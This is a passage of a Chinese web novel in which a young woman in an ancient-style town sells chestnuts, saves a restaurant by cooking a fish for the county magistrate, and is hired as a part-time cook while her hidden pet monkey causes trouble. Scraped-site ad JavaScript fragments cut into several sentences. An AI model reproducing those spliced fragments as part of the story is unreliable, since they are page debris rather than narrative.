在赵榆伸手接过的时候,他笑呵呵地问道,“赵小姑娘,你这山板栗是在哪里捡的,用不用我去给你打下手,有我帮忙,定能捡更多。” 赵榆一听收回了手,似笑非笑地看着他。 铺主嘿嘿一笑,忙道:“开玩笑开玩笑,赵小姑娘你别当真,”说着他将荷叶包又往前递了递,打着商量道:“只是你也瞧见了我这生意还不错,剩下的那些山板栗也不够我卖几回,你看你什么时候再给我送过来一些?” 赵榆将豆腐接过来,半真半假道:“我进山一次不容易,家里就指望这些山板栗过活,所以我打算到时候进城寻寻有钱的买主,看看能不能卖出高价,能多赚一点是一点。” 铺主听后,一咬牙:“我愿意加价,五文,怎么样?” 赵榆想了想,最后还是同意了,但表示能供的数量不多,每次可能只有几斤。 都说鸡蛋不能放在一个篮子里,赵榆也不能确定是否能在县城卖出高价,但既然铺主诚心想买,她卖给他一些也是无妨的。 一次供货几斤山板栗,对小镇上的铺子而言其实已经不算少。一次两次因为新鲜,生意会格外的好,可越到后头,来买的人就会越少。 还不如一开始就少卖一些,控制着量,生意说不定能维持久一些。 铺主也不是傻子,想明白后,欣然同意,为表感谢,又将案板上那两块白豆腐也给包起来让赵榆给带走。 赵榆没推辞掉,只能接下。 带着三块豆腐,赵榆没再走大路,而是回到下山口那里,将猴子抱出筐子,重新往里头装上乌栗,然后背上再次进山。 42. 第四十二章 一个多时辰后,赵榆从九龙村这边的浅山下来,望着熟悉的周家小院,忍不住笑将起来。 一条通往镇上的山路就这么被她走通了,比乘牛车还要快,不过就是不太好走容易迷失方向,为了再顺畅一些,她还得再熟悉熟悉。 院子里大牛二牛正在你追我赶,看见赵榆回来,兴奋大叫着向她跑过来,围着她不停地转圈。 周婆子见了,快步走来将两个捣蛋的挥开,帮着赵榆将竹筐卸下来。 “这可不轻,你做甚背这么多?好好的肩膀别给你作弄坏了。” 赵榆擦了擦额头的汗,笑道:“实在是山上的乌栗太多,一不留神就给装得多了。” “少背一些,山里头的东西没谁有胆子和你抢。” 深山老林,没人敢进去,也就赵榆有这能耐。 赵榆这次带回来乌栗差不多也二十来斤,被从筐子里倒出来,堆成一堆,有些圆润的已经滚出去好远。 周婆子蹲了下来,抓一把搁手上,放下,又抓一把。 昨日阿榆就是用这东西换回来了一百文钱。 将滚远的乌栗捡回来,周婆子不免又想起了浅山的那颗板栗树,大河村的人真真是不识货,偏偏将值钱的树给祸害了。 昨日光顾着数钱,忘记问这板栗是何价。 赵榆:“镇上是四五文,但听说县城能卖六文一斤,我打算明日带去县城看看。” 周婆子一阵惊讶,这般值钱? 若真能卖六文一斤,只需捡上两斤就能抵一日工钱了,想到这里,她都克制不住的心动。 周婆子点点头,“多卖一文是一文,明日让老二跟你一同去。” 周老汉已经从地里忙活回来了,正坐在一旁歇脚,“去县城的路远着呢,一会儿我去大河村问问有没有牛车进城。” 这事就这么定下来。 次日一早,赵榆依旧背上了竹筐,不过里头装的是睡懵了头的猴子。 今日不进山,担心它会趁着自己不在,不知分寸地在周家进进出出,未免被人发现,还是带着它进城比较安心。 于是,这次不仅是赵榆第一次上县城,猴子也是。 等上了牛车,赵榆看着前头赶车的老人,惊讶了一瞬。 这不就是镇上卖鸭子的那个老伯! 黄老伯摸了摸自家的老黄牛,等人都坐好了,这才晃悠悠地让牛车动起来。 车上不止坐了赵榆和周谷,还有五六只老鸭,“嘎嘎”的叫声不止引起路人的目光,还让竹筐里的猴子都躁动起来。 腿边前一刻还安稳的竹筐这时候左摇右晃起来,好在牛车晃荡个不停,这才没引起周谷的注意。 眼见着猴子不安分,试图将它毛茸茸的脑袋探出来,赵榆眼疾手快地伸手,将它又给按了下去。 周谷正和黄老伯说着闲话,这时后者像是想起什么,对着赵榆问道:“小姑娘我瞧着你有些面熟。” 可不面熟么,前两天才见过。 赵榆笑着提醒道:“我在镇上还向您问过路呢。” 她这一说,黄老伯想起来了,“哦,原来是向我问路的小姑娘。” 赵榆点头。 “你可回到九龙村了?” 赵榆:……嗯? “老伯,我刚从九龙村出来!” 黄老伯反应过来,这才晓得自己问了蠢话,“是嘞,你是老周家的,看我问的,人老了,脑袋都不灵光了。” 他笑呵呵地道:“镇上没人买我的鸭,只能让老伙计带我上县城,等赚了钱给我家孙儿买糖块吃。” 老伙计? 赵榆看着前头走动的黄牛,问道:“老伯,这牛多大年纪了?” 黄老伯:“好多年了,我家孙儿都得叫上一声‘牛爷爷’。” 这还是“爷爷”辈的牛? 怪不得这么慢了! 走了半天,她竟还在大河村内。 看着一步一步迈得正认真的老黄牛, () { $(''.inform'').remove(); $(''#content'').append('' 赵榆不敢催。 上了年纪的牛,她该多些耐心。 也不知走了多久,等到城门出现的那一刻,赵榆都有些恍惚,若不是瞧见周谷背上的乌栗,她都忘记她进城是为了什么。 赵榆闭了闭眼,再次睁开,抬头看向正前方。 古朴又高大的城门上方,“临安城”三个字气势恢宏的映射在眼底,横竖的刻痕中,隐隐透露着她略感陌生的王权威压。 赵榆忍着震撼随着周谷去排队。 两名守卫分守两边,面容肃整,腰挂大刀,若手上不拿个盛铜板的木盘,约莫会更让人敬畏。 赵榆看着排在前头的人都是在往那木盘投了一文钱后才被准许进城,也拿出两文钱出来,递了一枚给周谷。 出门前周婶给了几个铜板用作饭钱,没成想这城门还没进,就得先花出去两文。 周谷接过铜板,憨厚的脸上满是不解:“怎的这次进城还要交钱?” 赵榆一听,问道:“之前都不用么?” 周谷摇头。 也有人和赵榆他们一样,长时间没进城,竟不知道这回还要交入城费,没个准备,只能急忙和周边的人借上一文,连连保证等进了城卖了东西就还上。 黄老伯也不知晓这事,不过好在他身上备有铜板,无需赵榆再多拿一文钱出来。 三人顺利进了城,约好回去的时辰这才分开。 赵榆没直接奔着酒楼去,而是在各个小贩前转了转,又厚着脸皮进了几家铺子瞧了瞧,对城里的物价这才摸出了几分底。 县城里卖豆腐的不少,为了吸引更多的客人,滋味无法变动,只能在价格上花尽了心思,但再如何便宜,也要比镇上高出一些。 这些针对的都是白豆腐,一圈下来,赵榆并没瞧见哪家有卖乌栗豆腐的。 她倒是开口问了几家,都愿意收她手里的板栗,可出的价并不高,和镇上铺主的差不多,甚至有人奸商本性尽显,出的价还不如那铺主。 43. 第四十三章 煎的两面焦黄的鱼显然不宜再待在锅里,等鱼盛起来后,赵榆决定先熬汁。 一瓢凉水下锅,在放入各种调料就差不多了。 首先葱段、蒜头、姜切碎下锅,然后再倒上些许酱油,还要放些猪油,再滴上几滴醋…… 赵榆快速扫过灶台案板,上面各种瓶瓶罐罐,没个标签,她一时也分不清,于是每样都尝了尝。 这是黄酒,倒上一些,这是方糖,放一小块。 这个罐子装的什么? 赵榆拿起闻了闻,又弄些出来试试味,原来是黄豆酱,不过好像发酵的时间还不够,味道差了些,无妨,先放了再说。 这是什么?丁香?放一点。 继续从瓶瓶罐罐里抖些料汁粉末进锅里之后,再就是放盐了,可是赵榆做菜的次数屈指可数,也不知搁多少盐才是适量。 她能尝出并且记住吃过的菜的味道,所以放配料倒不是难事,只要灶房里有的,她就能放,可就是这盐她一时不好下手。 侧头问向一旁失了神的人,“你来搁盐?” “不不!”少年人接连摆手后退,这不是搁盐的问题,而是这“汤”能不能给县令吃,万一出了事,别说他们两个,就是福临楼都得遭难。 一瓢水里怎能放这么多东西?宛如小孩儿什么都不懂的在作乱。 他颤抖着嘴角道:“姑娘,这么做真的不会出事么?” 赵榆莫名其妙地看他一眼,继续一点点往锅里放盐。 少年人看着赵榆一边搁盐一边品尝那状似有毒的“汤水”,实在担心她会和大厨子一样晕倒。 赵榆不知道这人在想些什么,觉得咸味儿够了,这才停了手。 最后见竹篮里放着新鲜的花椒,眼睛一亮,拿起一些洗干净也给丢了进去,盖上锅盖,等着这锅加了各种配料的水煮开。 等差不多了,这才将有些碎的鱼给倒进去,让它吸吸汤汁,便可出锅。 正在这时,门口传来急促的脚步声。 来的正是管事以及一位身材辽阔的胖老爷。 胖老爷跑得很急,腰间宛如箍水桶的腰带几乎都快绑不住那堆肉,似乎下一刻就会断开。 还未踏进门,就听见他急切且带着大喘气的声音传过来,“鱼呢?县令大人带过来的鱼呢?!” 灶房里所有人看向赵榆这边。 县令要吃到最好的手艺,而福临楼烧鱼一绝的便是大厨子了。 可大厨子这时候不是还昏睡不醒?那属于他的锅里此时正烧着什么? 胖老爷双眼惧颤,双脚停住,甚至不敢靠近这个锅,他双眼扫视一圈,气息不稳地问道:“小子,交给大厨子的鱼呢?” 少年人名叫小二,此刻被掌柜的这般盯着,他本就没指望的心越发的受不住,颤巍巍地就想给掌柜跪下。 胖掌柜急得不行,大声问道:“鱼呢?” 不等小二指给他看,赵榆先一步示意道,“这呢。”说着她退后一步,让出位子来。 胖掌柜看着烧得正欢的锅,嘴边的两撇胡子立时一翘一翘的,他紧张中带着些许期待,问道:“这是谁做的?” 问完他转身看向其他的厨子,不是大厨子做的没关系,别的厨子手艺也不差,只要色香味俱全,即便不是俱佳,他也能让县令不怪罪。 然而,他看了这些他仰仗的人大半响,竟一个都不作声。 就在他要再问一遍时,身侧传来小心翼翼的回应,“我。” 胖掌柜霎时转头,对上赵榆清亮的瞳仁。 这是个瘦削温婉的姑娘,瞧着不像是个经常颠锅的,他不确定地问道:“.…..你会厨艺?” 赵榆想到自己曾吃过的美食,以及记下来的不大全面的菜谱,略显心虚地回道:“差不多。” 胖掌柜像是受到了打击似的,声音都变得无力起来,“.…..差不多?”那是差多少? 小二已经双腿发软跪下了,想到赵榆是帮自己,哭道:“掌柜的,人姑娘是好心帮我,这才……” 胖掌柜已经听不下去了,尤其是这个大厨子的帮工一脸凄楚的模样,他一颗心就像是放在锅里熬煮一般。 虚虚地叹出一口气,他向面前煮得咕噜作响的锅伸出手,脑子里还在不停想着解决办法,眼看着那条金贵的鱼是被祸害了,他是不是得找一条合适的来替上? 这么想着,他已经提起了锅盖,随着缝隙渐大,顿时,一股浓郁的香味钻了出来…… 胖掌柜下意识的一吸,浓郁的辛香直逼天灵盖。 他震惊,“.…..这……这” 跪地上的小二也被香味铺了一脸,他包着泪的眼都睁得大了些。 赵榆闻着这香味,松口气的同时,忍不住有些窃喜,果然调料这些东西不分先后,即便一股脑全丢下去,味道也不会差。 等着白色的热气消散,胖掌柜立即凑近往锅里看,深浓的汤底裹着鱼在热锅中翻腾,热汤翻卷中他瞧见了葱姜蒜以及花椒等配料交替着飘上来。 不知是这香味安慰了他,还是见到这些正经的配料让他能得以安心,总之,胖掌柜心里松了不少。 这时门外又有人问鱼做的怎么样,看来是县令他们等不急了。 胖掌柜不敢耽误,看着锅里很让人有食欲的鱼,咬了咬牙,吩咐身后的管事将其盛起来,然后看了一眼赵榆,这才带着人匆匆离开。 等人都走了,地上的小二才敢起身,他心中不安,问向赵榆,“姑娘,这鱼吃了应该没事吧?” 味道好不好他已经顾不上,他只担心县令他们会不会吃坏肚子。 他虽来福临楼没多久,可一段时间下来,他可没瞧见过大厨子会那般放配料,恨不得每个瓶瓶罐罐里都弄些下去。 赵榆不解,“能有什么事?”她放的是配料,又不是毒药。 另一边,福临楼二楼的雅间门外 胖掌柜暗悔自己没先尝一口再送上来,这下进退无路了,无法,只能深吸口气,胖脸上重新染上笑,轻敲了敲门,代里面允许过后,这才乐呵呵地推门进去。 独留管事趴在门外听动静。 片刻功夫,屋里响起了碗筷磕碰的声音。 推杯换盏间,管事耳尖的听到了那位县令对那盘鱼的赞美声。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “这鱼滋味真不错,不愧是福临楼,手艺一绝。” 胖掌柜一听,奉承道:“县令大人及各位大人能来我这小食肆,真乃蓬荜生辉,我家厨子都说,今儿用同一个锅做菜,这滋味不知怎的,竟比平日还要香泽不少。” 胖掌柜起身为县令倒上酒水,“我看呐,这都是托了各位大人的福才对。” ...... 见里头聊得欢,吃得也欢,管事这才放心,他悄声的退出二楼,快步往后厨赶。 赵榆正坐在石阶上等着呢,见管事急匆匆的赶来,也是心中发紧,可当看清对方脸上的笑意后,这才放下心。 不等赵榆开口,管事已经先一步出声,“小姑娘今日多亏了你,为了报答,你这板栗七文一斤我全要了!日后若还有,你也给送来,我都按七文收!” 赵榆一喜,这下乌栗有销路了。 揣着还没焐热的一百八十二文外加管事送的一坛好酒,赵榆和周谷满足地出了酒楼。 来到城门口,黄老伯还没来,五六只鸭不是那么容易卖的。 瞧着已近午时,赵榆决定买些吃的来掂掂肚子。 街边卖混沌的生意好,一碗装的满满当当,要卖四文。 赵榆见周谷饿得慌,不顾他的推辞给他点了一碗,而她自己则是去另一个摊子买了一张新鲜出炉的大饼。 大饼可以走着吃,趁着黄老伯还没来,她可以去那些铺子里瞧瞧。 尤其是成衣铺子,她得去问问袄子是个什么价钱。 临走时赵榆多买了一块,这饼吃着香,带一块回去给大牛二牛他们。 突然,她想到什么。 避着路人躲在一个角落,将筐子取下,将上面的遮挡物掀开,就见猴子窝在里头呼呼大睡。 在筐子里待久了,也不知它饿不饿。 赵榆撕了一些大饼凑近猴子嘴边,就见它鼻头动了动,还没睁开那对猴眼,它就“哇哇”一声叫。 “嘘!别出声,吃饼不?” “哇哇!”声音小了不少。 猴子大嘴一张,将嘴边的饼包进嘴里,嚼了嚼给吞咽下去。 “哇哇!” 赵榆一听,又给它撕了一大块。 待猴子透完气后,赵榆这才背着它进了一家成衣铺子。 眼下虽还不冷,但这些开衣铺的已经早早备上冬衣,赵榆一问袄子,店家就拿出了一件厚实的。 一问价钱,就是一两五钱。 赵榆被吓到。 买上衣还得有下裤,再一问裤子,一两二钱。 “这么贵?” “姑娘你有所不知,这绣娘得给工钱,绢布也不便宜,尤其是这棉花,紧凑的很,若不是小店有些本事,这棉花可不好弄到手。” 赵榆恍然,她都忘了这是一个凭棉断富贵的时代。 她才只存下一百来文,离一两都还差得远,别说将袄子买回去了。 气虚地冲店家笑了笑,道谢过后,就要离开,不想一转身,竟照见了柜台上的一面镜子。 赵榆克制不住凑近了些,将镜子里的人看个清楚。 44. 第四十四章 吸引人的是那对眉眼,弯弯的柳眉下一双清润的瞳仁像是被画师用笔尖点缀过一般,墨而透亮,无端的带着些媚。 面庞柔顺,因饥饿而泛起的黄色些些褪去,隐隐显出她本来的白嫩,衬的朱唇越发的艳。 这就是她的脸,一样的眉一样的眼,无非是比她原本的多添了些稚气。 赵榆摸了摸上次被周麦指甲划过的地方,痕迹已经消退,指腹只触到一片柔软。 明明已经十分熟悉,可她就像看不够似的,对着镜子里的人舍不得移开眼。 直到店家问她是否要买下,她这才晃神摆手。 知晓容貌还是自己的,赵榆舒心不少,陷在心里的些许膈应也顿时消散。 心情好起来,于是嗅着一阵芳香进了一家卤肉馆。 馆子不大,但布置的还算干净,案板上摆放了几只烤好的鸭子,正有一个小二拿着蒲扇摇晃着,约莫是在赶蚊蝇。 赵榆看着那些烤的焦黄酥脆地鸭子难耐的咽了咽口水,心知买不起,果断地移开眼,继续吃着手里的饼。 这个卤肉馆瞧着生意不太红火,可这客人好似没断过,有人出去就有人进来,于是那位给鸭打扇的小二,手里的蒲扇拿了放放了拿。 眼下小二又从案台离开,帮着店家给客人剁鸭子。 又送走一位客人,小二探头看了看外面,见暂时没人进来,这才重新返回案台,刚要拿起蒲扇,下一刻他双眼立时瞪圆。 离开前还好端端的大鹅这时竟缺了一个口子,小二忍不住凑近一看,这是被一张硕大的嘴咬掉了一口肉。 现下馆里只剩眼前这一位客人…… 小二盯着姑娘正缓慢咀嚼的腮帮看了又看,确定后这才唤了一声“东家”,然后招手示意他过来。 待店家过来后,他悄摸地指了指那缺了肉的烤鹅。 店家皱眉,看了眼鹅,复又看向小二。 小二点点头,然后点了点赵榆,又指了指自己的嘴。 店家明白了,他转头看向赵榆。 见对方正侧对着这边,他上下打量一番,这才出声道:“姑娘,你看上了哪个,我这就给你剁好。” 赵榆一听,连忙转头看他,她张了张嘴想说不用,奈何刚刚那一口饼咬的大了,一时不好吞咽下去。 她摆了摆手,使劲嚼了嚼,待咽下去后,这才能开口,“是您做的卤肉太香,我一时被迷住,这才进来看看。”说完就要往外走。 “等等。”店家快步过去将她拦住,小二也从案台那边走出来。 “姑娘,这肉你既尝了,合该买下来,不然这缺了一块,你让我怎么卖出去!” 赵榆困惑,她什么时候尝肉了? 以为这店家误会她嘴里嚼的东西是他家的肉,忙举起手里剩下的半张饼,解释道:“我吃的是这个!” 店家见她还狡辩,直接退开身,将身后那缺了一大块肉的鹅露出来,“这会儿就我们几个人,我总不会吃自家用来卖的物什!” “小姑娘,饼发硬发干,的确不怎么好吃,可你也不能闻到我家肉香,就拿它当配菜!” 赵榆顺着他的指向定睛一看,那只烤鸭翅膀那处确实少了一大块,那个大嘴印,明晃晃的。 见此赵榆更加不会承认,这一嘴她可咬不下来,瞅着店家,坚定道:“饼很好吃,我用不着吃肉。” 店家见她还不承认,语气硬下来,“你当真不愿买下它?!” 又不是她咬的,作甚要买下一只缺了肉的鸭? 赵榆可不想吃这亏,肃着脸就要开口拒绝。 突然,她脑中一闪。 这个卤肉馆里,可不止他们三个人,她背上的竹筐里还藏着一只猴呢! 那个大嘴印越想越觉得能和它对上。 赵榆严肃的面色险些绷不住,忍了又忍,整个心降了又降,这才囫囵的将拒绝的话在舌尖打了个转,硬邦邦地吐出一个字:“买!” 这个字一出来,店家和小二一愣,随即都笑了,“客官,您稍等,我这就将您这只鸭子剁了。” 两人重新亲和起来,可赵榆就觉得他们的眼神怪怪的,透着一种小贼被抓现行,终于承认犯了错的宽慰感。 赵榆绷着脸,不敢显露情绪,听到这话,忙道:“不用。整只鸭子比较让‘人’有胃口。” 店家和小二理解地点点头,怪不得会咬那么一大口呢,原来喜欢整只鸭子! 赵榆紧抿着唇,不再开口,直到鸭子被包裹好,轮到她给钱时,才惊讶地道:“这鸭子怎么这么贵?!” 店家笑了笑,“这可不贵,我家烤炙的手艺一绝,您吃过就知道了。” 他补充道:“况且,我这可不是鸭子,而是鹅,比鸭子可要贵上不少。” 无法,赵榆只能忍着心疼往外掏钱。 她就说,怎么这家卖的鸭子这么肥,瞧着比黄老伯家的麻鸭要大的多,没曾想这竟是只鹅。 不过—— 赵榆抬头又瞥了眼那被包裹严实的鹅,道:“你这鹅也不大,没比鸭子肥多少。” 店家笑着点头,“半大不小的鹅滋味才好,我特意选的。” 赵榆将六十个铜板交给他,又多问一嘴,“六十文一只鹅可不便宜,会有人来买?” 店家重又数了一遍,态度极好道:“自然有,不过他们不会像您这样——” 赵榆抬头看他。 店家将包裹好的鹅递给她,继续道:“不会像您这样买一整只,他们顶多买上几块尝个味儿,要不了多少钱。” 赵榆接过拿六十文换的,还被猴子啃过一口的鹅,心情复杂。 对于店家邀请她下次再来这句话,她只扯了扯唇没作回应。 她不会再来了,一只鹅用去她存下一半的钱,她该绕道才对。 然而赵榆不知道的是,猴子自从吃了这口鹅肉之后,从此便爱上了这个味儿。它惦记着坐牛车,惦记着进城,最终惦记着进这家卤肉馆,只为了能再吃到香喷喷的鹅肉。 从卤肉馆出来,扑鼻的香味一消失,猴子就不安分了,在竹筐里不停地闹出动静。 “哇哇哇!” “你胆子不小,竟敢偷吃人家的鹅!” “哇哇哇!” “让我一下子损失六十文!” “哇哇哇!” 赵榆叹口气,“别催,给你买了,回去再吃。” 和周谷会合后,没多会儿黄老伯就来了,三人再次一道往家赶。 这次进城两方收获都还不错,黄老伯卖出了三只鸭子,打算给孙子买的方糖也没落空,于是面上更加的乐呵了。 回到周家,赵榆将一百八十二文交给周婆子,把福临楼以七文一斤的高价收了乌栗的事说了。 周婆子一听,心中惊喜,七文一斤,真真是值钱! 周谷将带回来的酒小心地放在桌上,闻言,道:“七文是了不得的高价了,要不是赵小妹有本事,那管事的可不会那么好说话。” 他摸了摸一看就不便宜的酒坛,笑呵呵地继续道:“他们为了感谢赵小妹,还白送了我们一坛酒。” 不止周谷看这坛酒眼馋,周老汉也如此,他坐在桌边,时不时地轻拍一拍酒坛,或是凑近闻一闻,哪怕坛口封得紧紧的,他也像是闻到酒香一般,眼中的老态都消了些去。 “多亏了阿榆你,让我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有口福了。” 虽不见多少情绪,但赵榆还是听出了其间的感慨。 周田因腿脚不便,也落座一旁,他虽不好酒水,但见家里有了收入还白得一坛酒,心里也很是高兴。 他看向一旁的赵榆,眼中含着佩服。 福临楼谁不知道?客来客往的,那是个富贵地儿。 声名远播,那些有钱的老爷甚至是官爷都爱上那儿喝杯茶水,是与风香楼平分秋色的大酒楼。 周田没想到赵榆不过是去县城卖栗子,竟让福临楼欠了她人情,真真是能耐人! 周青也看着桌上的酒目不转睛,“这可是好酒啊,看到酒坛上的红签了么,若是我没猜错,这就是福临楼曾卖出三两一坛的玉华天浆!” 玉华天浆是福临楼推出的一种酒水,很受追捧,打的旗号是状元公都喝过的酒。 周麦见不得赵榆风光,听着四哥说这话,她张嘴就讽刺道:“什么红签黄签的?四哥你什么时候识字了?” 周青白了她一眼,“我不识字,难不成我还不识数?红签上的四个大字你是不会数还是怎么着?” 所有人一听,下意识去数那签上的字,还真是四个。 赵榆识字,她定睛一瞧,道:“还真是玉华天浆。” 三两一坛? 那位管事还真舍得,赵榆心中暗暗想道。 这时,赵榆发现其余人全都看向自己,下意识摸了摸脸,疑惑道:“怎么了么?” 周青看向她,打量了她一眼又一眼,然而才惊疑问道:“你会识字?” 赵榆心中一咯噔,大意了,竟忘记了这茬! 她想否认,可话已经脱出口,对上这些人的眼神,赵榆只能硬着头皮道:“略识得几个。” 确实只能识得几个,毕竟古文复杂不少。 赵榆这一承认,让周家人全都变了脸色,惊诧、疑惑、嫉妒皆有。 周婆子就属前两者,她震惊赵榆竟识字,又不解既有这种条件怎的还会被卖。 而后者便是周麦了,随着赵榆越长越好看,她一颗心就煎熬着。 其他人可能不注意,可周麦是最重视面皮的,看着对方肉眼可见的变白嫩,她就难受。 不解为何吃的是同样的粮喝的是同样的水,甚至自己还时常躲在屋里,反而赵榆日日往外头跑竟变得越发白皙! 单凭这点,就足够周麦嫉妒赵榆,然而没想到的是,对方竟然还识字?! 她的玩伴,家里开药馆的许如意不过是会写自己的大名,就高人一等,活像是高门贵女一般,她虽不乐意见她得意,可谁让她家里开了药馆,有个了不得的身份。 为此,周麦她可以忍。 可赵榆是谁? 不过是她娘从人牙子手里买回来的,只值四两银子的贱丫头而已,她如何有资格识字?! 周麦越想越不如意,忍不住嗤笑道:“你以为什么人都能学字么?还略识几个?真真是惹人发笑!”说完,不顾其他人的反应,转身就回了屋。 赵榆才懒得理她,周婆子见不得她那副死样子,狠狠骂了几句过后,这才消了气。 众人视线重新落在了桌上的酒坛上。 得知这酒水贵不可言之后,周老汉等人便舍不得喝,想着存起来或是卖掉换钱。 赵榆一听,忙劝他们别留,既然别人给了,喝了便是。 指望卖钱那定是不行,他人指不定会怀疑他们手上的是假酒,别人若想喝自去福临楼买便可,用不着买外头的。 不知是这话说到他们心坎上,还是赵榆说话有了分量,这坛酒最终还是在当晚拆了封,为了好好品尝,那顿晚食吃得格外的慢。 45. 第四十五章 回到赵榆自己的屋子,猴子不在,连带着竹筐里的烧鹅也不见了,以它馋嘴的模样,那只鹅约莫已经全部进了它的肚子。 赵榆给它留了门缝便没再管它,坐回床上,将属于她的钱又拿出来数了数。 除去买了只鹅花的六十文,加上今天赚的,她这总共有一百二十余文。 若是不知道成衣铺子里袄子的价格,她定会对这一百多文感到满意…… 赵榆叹了口气,这点钱似乎只够给猴子再买两只烧鹅。 将这些铜板重新藏起来,赵榆打定主意要多多捡乌栗送去县城,七文一斤的高价她得抓住了。 两天后,就在她一身干劲往山里去时,周谷再次背着赵榆捡回来的栗子进了城。 只是这次他不仅带回了卖栗子的一百来文,还另外交给了赵榆五两银子。 赵榆看着掌心沉甸甸的银子又惊又疑,“……这是?” 周谷笑呵呵的,满脸喜色地解释起缘由。 原来上次赵榆做的鱼很受那些官爷喜欢,这事传出去后,不少有钱的饕餮老爷顺着找到福临楼只为求一道同一位厨子做的鱼。 也因此,福临楼名气又上了一层,竟把另一个不容小觑的风香楼的生意给抢走了不少。 胖掌柜高兴了,大方的给出五两银子聊表谢意,并让周谷给赵榆带了话,说是赵榆手艺一绝,福临楼愿以二两银诚请她为酒楼指点菜品。 指点菜品的另一层意思就是请赵榆去福临楼做厨子。 赵榆惊讶不已,她不过是出于同情帮了一把,现在想想都觉得是自己鲁莽了,县令指定的鱼万一被她做毁了,下场指定好不了。 若是那位掌柜坏心一些,为了将福临楼摘除出去,将过错全压在她头上…… 赵榆此时才后怕起来。 ……但好在那道鱼被她做成了。 赵榆捏着五两银子,生觉下回做事前得考虑好后果。 周谷见赵榆没说话,问道:“赵小妹,你是怎么想的?” 赵榆怎么想? 她不是正经厨子,做菜的手艺也不精通,靠的无非是对滋味敏锐的舌头以及记忆还算不错的脑子,以前吃过的菜,尝过的东西,纷纷像是菜谱一样被装进脑袋里,虽算不上多深刻,可好歹有印象。 那道鱼能做成功,除了配料没出错外,更多的还是她的谨慎。 或者说是做菜的天赋?赵榆也不确定。 但福临楼给出的二两银子属实是太诱人,她得卖多少乌栗才能存这么多钱? 不知是不是银两的吸引力太大,还是脑袋里装着的各种“菜谱”给了她底气,思索片刻后,当着周婆子周老汉等人的面,她点头应了下来。 但赵榆的条件是,她不做正经厨子,而像是做散工一般,只固定时间上福临楼做菜,当然工钱自然不会多要,只拿适合的那一份。 若是福临楼能答应这个条件,赵榆也就同意。 这听起来像是她在拿大,但这也是赵榆在思索过后的一种保护手段。 她没有真手艺在身,真做了厨子她实在气不正,且容易露怯,若是像做散工一样,只定期做一道她“拿手”的菜,她会宽心许多。 例如只做鱼。 一旁的周家人先是被五两银子惊住了眼,随后又被福临楼请赵榆上门做工,并给出二两银子的极高工钱震撼了心,没等缓过神,又再次被赵榆的这番话打蒙了圈。 周青先克制不住地问道:“你这是什么意思?是去还是不去?!” 这时周老汉开口道:“阿榆这么做是对的,做厨子不容易,整日待在灶房里,你一个年纪轻轻的小姑娘怎能受得住?二两银子是多,但也不能苦了自己。” 周婆子听了没多说什么,但显然她也赞同周老汉说的,正正是姑娘多娇的时候,哪能像个不讲究的妇人一样扒窝在灶头上,也忒委屈了些。 周婆子:“若是能行,往后你进城时就叫上老二一道,他长的唬人,路上也安全些。”城里是好,但别有用心的人也不少。 周婆子看了眼好似长开了一些的赵榆,觉得还是让长的结实的周谷跟着,才令人安心。 赵榆听了心下触动不已。 然而周家老两口这般想,其他人却不是。 方春梅一听赵榆不做长工,还将二两银子往外推,就急了,“福临楼那么大的酒楼让你去做厨子,你竟提出这般不可理喻的要求,你莫不是日日上山被熊瞎子拍坏了脑袋?!” 二两银子够一家老小好吃好喝老长一段时间,她是有多蠢才会不同意? 她一边暗恨赵榆想一出是一出,一点不为其他人着想,一边又嫉妒她能被福临楼看上。 福临楼那掌柜也不知道是不是瞎了眼,赵榆那细胳膊细腿的,哪里是能当厨子的样子? 还不如让她去,她灶台的功夫难不成还比赵榆差了?! 方春梅心中的妒火都快染红了眼,“你这般拿乔,也不怕这份工丢了去!” 赵榆磨搓着掌心的五两银子,瞥了眼她,“丢了便丢了,再找其他赚钱的法子便是。” 不能赚上福临楼的二两银子虽然可惜,但赵榆清楚自己几斤几两,让她一个半路出家的去做厨子属实难了些。 就像方春梅说的那样,“故作姿态”只会让福临楼不喜,赵榆也是这般认为。 那般大的酒楼什么都可能缺,唯独不会缺人。 她不过是运气好做了一道尚且可口的鱼,还没到缺她不可的地步。 赵榆是这般想的,然而周谷给她带回来消息却当真让她大吃一惊。 “福临楼同意了?” 周谷点头,“那掌柜说不强求你日日都去福临楼,只要求酒楼需要时,你能赶过去便成,工钱若是你不介意,暂且先定下一月一两银钱。” 竟然真的能成?! 赵榆愣了几息,顿时高兴起来。 这么说来,她日后不仅可以和猴子上山捡栗子,还能多添一笔大的进项。 虽然工钱减半,但赵榆依旧满足的不行,“那便这般定下了。” 说起福临楼能答应赵榆这番要求也是有缘由的。 其一是赵榆做的那盘鱼的确符合了官府那些人的口味,这事传出去后,进酒楼吃鱼的一下子多了不少。 有人为了投其所好,特意从酒楼定了鱼送到某位大人家中,可得到的结果是,味道差得远了。 这下来福临楼吃鱼的人不愿意了,认为是酒楼糊弄他们,喊退钱的喊店大欺客的声音立时多了起来,若不是处理的及时,这事差点影响了福临楼积攒不易的好名声。 其二是福临楼那位晕倒的大厨子身体一直不见好,大夫说是年纪大了,不宜再操累。 这事给福临楼的影响可不亚于坏了名声,一个酒楼怎能缺厨子呢?还是仰仗的大厨子。 于是寻找一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能接替大厨子的人刻不容缓,而赵榆就被盯上了。 其三便是赶在风香楼之前将赵榆抢下来,为此在赵榆答应的次日,就有福临楼的人亲自找来了周家,来的人正是那位管事。 管事不仅带来酒和糕点,还带了契书,是打定主意要将赵榆给请进福临楼。 赵榆也没让他失望,借用他带过来的笔在契书上写下自己的名字。 不过在此之前,赵榆让其将“为期三年”改为一年。 赵榆给的理由是,尚不知晓自己能不能胜任,暂且先定一年,若是合适,再延期也不迟。 管事也没为难,同意下来。 看着契书上新写下的名字,竟很是整洁秀气,为此管事对赵榆难免又多高看了几分。 送走管事后,赵榆将糕点给大牛二牛分了分,又让他们多拿两块带回房给他们的娘,完事后,这才拍了拍手,背着竹筐再次进了山。 * 时间过得很快,眨眼间,赵榆已经来周家三个月之久。 听着屋外呼呼的风声,赵榆缩在周婆子给她做的被褥里不愿探头。 这天实在太冷了,感觉人一出去就会被冷风吹得生冻疮。 “哇哇!” 猴子从木椅上跳上床,见她埋在被褥里,也想跟着钻进去。 